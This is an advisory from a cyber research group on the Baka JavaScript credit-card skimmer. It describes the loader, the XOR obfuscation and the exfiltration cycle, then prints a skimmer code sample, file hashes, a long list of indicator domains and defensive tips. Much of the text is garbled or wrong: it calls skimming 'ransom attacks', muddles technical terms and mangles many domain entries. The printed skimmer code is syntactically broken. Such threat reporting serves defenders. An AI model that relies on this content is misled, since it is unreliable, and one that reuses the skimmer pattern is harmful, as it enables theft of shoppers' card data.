Advisory Report on Baka JavaScript Skimmer: Credit Card Skimmer
Since last year many JavaScript ransom attacks have happened mainly in the eCommerce sector. Attackers injected malicious JavaScript code to corrupt the server and spread malware in customers’ systems. This attack initially took place in Feb 2020 and again in September 2020 financial ransom attack took place which is famously known as credit card skimmer such as Visa Payment in Electronic payment mechanism.

E-Commerce Threat is known as JavaScript “Baka” and its process is famously known as credit card skimmer. Visa payment fraud has come into the frim while analysing command and control (C2) server which adds a typical skimmer variant called Image ID hosting into the server. Before diving deep let’s know what are the key terms in these ransom attacks.

The skimmer’s most ‘compelling components’ include its unique loader and complicated techniques. It animatedly loads to avoid static malware scanners while using individual encryption parameters for every victim to hide the malicious code. Baka skimmer’s variant avoids detection/analysis by cracking itself from memory as soon as it identifies the probability of dynamic analysis or after it has finished exfiltrating data.

“The Baka loader works by dynamically adding a script tag to the current page. The new script tag loads a remote JavaScript file, the URL of which is stored encrypted in the loader script. The attacker can change the URL for each victim,” explained Visa.

The skimming code is fetched and executed after a user visits the checkout page on a merchant’s website. Its decrypted payload is similar to the code used for dynamically loading pages. The code skims the targeted files after every 100 milliseconds, and the attacker efficiently specifies the fields that are to be targeted for every victim. The code also checks whether the skimmer has identified any data at 100 milliseconds intervals. If it identifies data, the exfiltration process is quickly initiated. It keeps checking every 3 seconds whether the script has to send data to the exfiltration gateway. After exfiltration, a clean-up function is executed to remove the skimming code from memory.
Baka also uses the XOR cipher to encrypt hard-coded values and obfuscate the skimming code that the C&C server delivers. Though XOR's usage isn't something new, Visa states it has observed its use in JavaScript skimming malware for the first time.

Key Words:
» Baka Skimmer
» Malware Loader
» Obfuscation Loader
» Web Skimmer

**Baka Skimmer:** Baka Skimmer is a JavaScript malware loader which helps to bypass security scan. With help of this code, the skimmer can erase data itself from the victim's device after the attack. In this, there are two unique components called as **malware loader** and complication loader.

**Malware Loader:** From a financial point of view especially in payment gateway such as credit card a set of code written in JavaScript loaded to spread malware and try to do malicious activity in the merchant's account without knowing the customers or user is known as Malware Loader. Baka Loaders use dynamic strategies to do so. The code used to spread malware are converted into hash files and URL such as aea1ae020558f7b41dc16ded37176959cbe87cbb2153094a75d67d9410f2d30d
» HASH FILES182fbc73d3901caceea7f058e41205be1dca21ac8dc1a63de20907e4099ec3b3
» URL- jQuery-web[.]com

When the user clicks these URL given in the merchant’s gateway page loader executes the above malicious hash files which then decrypts the following:
- Decrypts the hard code URL of command and control C2.
- Generate a random number to send C2 URL for the skimming code.
- Skimmers C2 returns a small set of JavaScript that sets a variable known as script call back to encrypt the C2 URL.
- Loader decrypts skimming code and executes it in the memory.

**Obfuscation or complication Loader:** Baka uses XOR cipher to encrypt hard code as it is used to encrypt those codes which are not possible to crack. Skimmers use the same XOR cipher technique where they are unable to detect. The random numbers generated in the loader as shown in the above hash files can be decrypted by a function accepts a hexadecimal string as
- The decryption software splits the string into a list of two-character strings.
- The function parses two-character string as a hexadecimal number and converts it into an integer.
- Integer decrypt using a key and many more
**Web Skimmers:** Skimmers are used to steal data from credit cards. Due to the increase in technology hackers and scammers are using high technology to do such scam. Web skimmer is also a type of credit card scam in which data from credit cards stored in any e-payment gateway can steal data and manipulate it. Here Skimmer payload decrypts java code to collect code that would be used to reduce the page dynamically. For changing, some of the function are used

1. Create a decryption function to decrypt the list of fields
2. Skim the targets fields occasionally
3. Check for skimmed data
4. Check if the script should send data to the unfiltered gateway
5. Schedule a clean-up function to clean up the footprints after the attack

**Sample code for web skimmer:** This code defines the spread of malware inside the merchant or user accounts while contributing data through their credit card as given be
```javascript
function t() {
    var b, a;
    return b = s + g(1) + '.gif',
    a = document.createElement(c('696D67')),
    a.setAttribute(c('737263'), b),
    a.setAttribute(c('7769647468'), '0'),
    a.setAttribute(c('6B65726F7764'), '0'),
    document.body.appendChild(a),
    10;
}

function u(a, b) {
    var d;
    try {
        a = JSON.parse(c(a)),
        b = JSON.parse(c(b)),
        d = JSON.stringify(Object.assign(a, b));
    } catch (e) {
        for (let k in d) {
            if (d.hasOwnProperty(k))
                s[k] = d[k];
        }
    }
    ret = s;
} finally {

}

function i(p, d) {
    var b = c;
    var a = ["222a22", "222b22", "c", "d"];
    return d = 1 ? b = b.split(a[0]).join(a[2]).split(a[1]).join(a[3]) : b = b.split(a[2]).join(a[0]).split(a[3]).join(a[1]),
    b;
}

function q(c) {
    var b, d;
    b = c;
    for (let a = 0; a < c.length; a++)
        d = c.charAt(a),
        b = b + d.toString(16);
    return p(b, 1);
}

function s(a) {
    var b, d;
    if (!a["b"])
        a = p(a),
        a.match("^[0-9a-fA-F-]+$")
        for (let c = 0; c < a.length; c++)
            d = a.substring(c, 2),
            b = b + String.fromCharCode(parseInt(d, 16));
    return b;
}

(function(d, e, a, c, f) {
    function b() {
        if (l) {
            c = m;
            for (let b = 0; b < a.length; b++)
                a[b].fn.call(window, a[b].ctx);
        }
    }
    function g() {
        document.readyState === 'complete' && b();
    }
    d = d || 'docReady',
    e = e || window,
    a = [1],
    c = [1],
    f = [1],
    a[d] = function(d, c) {
        if (c) {
            setTimeout(function() {
                d(e);
            }, 1);
        }
        return;
    }
    a.push((
```
IOC related to this scam

**Domain - Name**
1. apienclave.com
2. jquery-cycle.com
3. apisqueure.com
4. pridedcdn.com
5. quicdn.com
6. ordercheck.online
7. b-metric.com
8. 180workshoe[.]com
9. 1freshfoot[.]com
10. 2018nmd4u[.]com
11. 234learnshoe[.]com
12. 270takeshoe[.]com
13. 365daysshoe[.]com
14. 5923shoe[.]com
15. 97saleweekly[.]com
16. 987lateshoe[.]com
17. adsmithfwtcom
18. acheterftwrcorn
19. addrubbercorn
20. airmaxweeklycom
21. allsizeshoe[.]com
22. adnkclub[.]com
23. ashshoeslink[.]com
24. apparentshoecorn
25. auflaufschuh[.]com
26. utgumnshoes[.]com
27. awsnkrs[.]com
28. bajaspicio[.]com
29. basketouvel[.]com
30. bestkixify[.]com
31. beastsole[.]com
32. best7now[.]com
33. bestshoesbf[.]com
34. blanchenmd[.]com
35. blazersoldes[.]com
36. boostrunner[.]com
37. boutiquesnk[.]com
38. brandingsit[.]com
39. breakerun[.]com
40. cageforlock[.]com
41. cestboncony[.]com
42. caretosole[.]com
43. champrun95[.]com
44. chaussureplace[.]com
45. cisalfaports[.]com
46. chamdot[.]com
47. chaussureprofile[.]com
48. colourmvp[.]com
49. comprastilos[.]com
50. closerpremium[.]com
51. closeorselect[.]com
52. continuefeet[.]com
53. comfytwrcorn
54. cusmakeit[.]com
55. couleurmvp[.]com
56. courtadv[.]com
57. damessbedoorn[.]com
58. ddtowscorn
59. deeruptshoecorn
60. descubra19[.]com
61. docvab[.]com
62. donnescontate[.]com
63. dividesneakers[.]com
64. donectory[.]com
65. dryyourfoot[.]com
66. easeweekly[.]com
67. easyfootrun[.]com
68. energeticshoe[.]com
69. elementsthat[.]com
70. entryonlike[.]com
71. eternalapt[.]com
72. evidentshoe[.]com
73. febdate[.]com
74. farbasefull[.]com
75. farbenrun[.]com
76. farvefit[.]com
77. fleunderride[.]com
78. fewusedit[.]com
79. footbester[.]com
80. foottruncub[.]com
81. footswk[.]com
82. footstil[.]com
83. footstil[.]com
84. footstylish[.]com
85. foreasyon[.]com
86. forisell[.]com
87. freernshoe[.]com
88. futureitblue[.]com
89. futureiowill[.]com
90. futurenshoes[.]com
91. futureyouto[.]com
92. gelbeu[.]com
93. geschenkein[.]com
94. getgshoes[.]com
95. getbetter[.]com
96. goldsoldes[.]com
97. grauwearim[.]com
98. grijsetop[.]com
99. goingtopurchase[.]com
100. grigiottopu[.]com
101. greyheel[.]com
102. gsnkrs[.]com
103. guldafdk[.]com
104. headrebajas[.]com
105. hererunner[.]com
106. hjrshoe[.]com
107. inikirun[.]us
108. iweardam[.]com
109. jtsportsde[.]com
110. justshopclub[.]com
111. kaiisko[.]com
112. kaufentwrf[.]com
113. kaischuhe[.]com
schoenenprofile[.]com
schuherunlauf[.]com
schuhesize[.]com
schuhneu[.]com
schuheplace[.]com
schuheprofile[.]com
scoprif19[.]com
showam97[.]com
shoeallrun[.]com
sizehaven[.]com
showschuh[.]com
skorunvit[.]com
sijshoe[.]com
skoprofile[.]com
skonmd[.]com
snadnket[.]com
sneakerbyside[.]com
sneakerebe[.]com
sneakerrees[.]com
sneakermodelli[.]com
sneakerunow[.]com
snkrstrike[.]com
snugfree[.]com
snuff[.]us
sortheads[.]com
sort5sko[.]com
sportkopen[.]com
sportinghave[.]com
sportopwears[.]com
sports-be[.]com
sportsalebay[.]com
sportsneu[.]com
sportsonfr[.]com
sports-ha[.]com
stayonlines[.]com
sprisheos[.]com
startingnice[.]com
streetcolouring[.]com
stripeschuhe[.]com
stuffnuevo[.]com
stuffkicks[.]com
stuffkopen[.]com
stuffoutfr[.]com
stuffpknit[.]com
styleftwr[.]com
stvprxsko[.]com
styleschoen[.]com
styleschuh[.]com
stylezapato[.]com
suitableshoe[.]com
swzoomsch[.]com
texmedevert[.]com
tehshoes[.]com
takerightback[.]com
tedschuhe[.]com
thegodwtilout[.]com
thxshoe[.]com
tiendaout[.]com
tosomtositaway[.]com
trainernmdcbk[.]com
trainersnmd[.]com
tstripeseq[.]com
uomoweekly[.]com
usesmoother[.]com
usualshares[.]com
valuablemax[.]com
vertchausfr[.]com
verstalesshoes[.]com
vtfreencs[.]com
vwfabrices[.]com
walkingnice[.]com
wearingselect[.]com
willgoout[.]com
willrunalong[.]com
willrunout[.]com
willhiking[.]com
winatersshoes[.]com
wmboost[.]com
withnormal[.]com
wilttrval[.]com
witroze[.]com
wmsnksrs[.]com
wsnkr[.]com
zapatosnmrd[.]com
zwtlnlzsen[.]com
In conclusion for the above scam, we have to take some practice and recommendations such as:

- Closely utilize content delivery networks and other 3rd party resources. Before proceeding further read the content twice-thrice time and if any grammatical mistakes report or simply ignore the site completely.
- Test and monitor eCommerce websites regularly for vulnerability and don't save or store credit card details in any of the eCommerce websites, or shopping apps.
- Limit access to the admin portal; use the virtual private network while opening any unknown site or link.
- Always keep up to date the shopping cart and other services to its latest security patches to mitigate the attacks.

It is suggested to use a strong admin password for account access; use a unique password for which contains at least 8 to 13 characters with capital letters, numbers, special characters and don't use a password similar to your “nickname, phone number, date of birth (DOB) or pet name” which can be compromised easily and data could be stolen.

Reference:

- https://otx.alienvault.com/otxapi/pulses/5f5795635bc-cff91bd0759f4/export/?token=eya3bG6ciOijUzlIlNilsInR5cCl6IkpXVCJ9.eyJ1c2VybmFtZSI6InN1YmhbbV9zYWJlOsiXzRzYzAwOTQ5IiwibG9nZmFyaW5nLXNlY2tldC9maXRoIjoiMjBkZjMwZjUyMiJ9&format=csv
- https://www.virustotal.com/gui/home/search

Revision Notes:

<table>
<thead>
<tr>
<th>Version</th>
<th>Description</th>
<th>Section</th>
<th>Status</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.0</td>
<td>Initial Public Release</td>
<td>---</td>
<td>Final</td>
<td>20/10/2020</td>
</tr>
</tbody>
</table>

Issued by
Research Wing, CyberPeace Foundation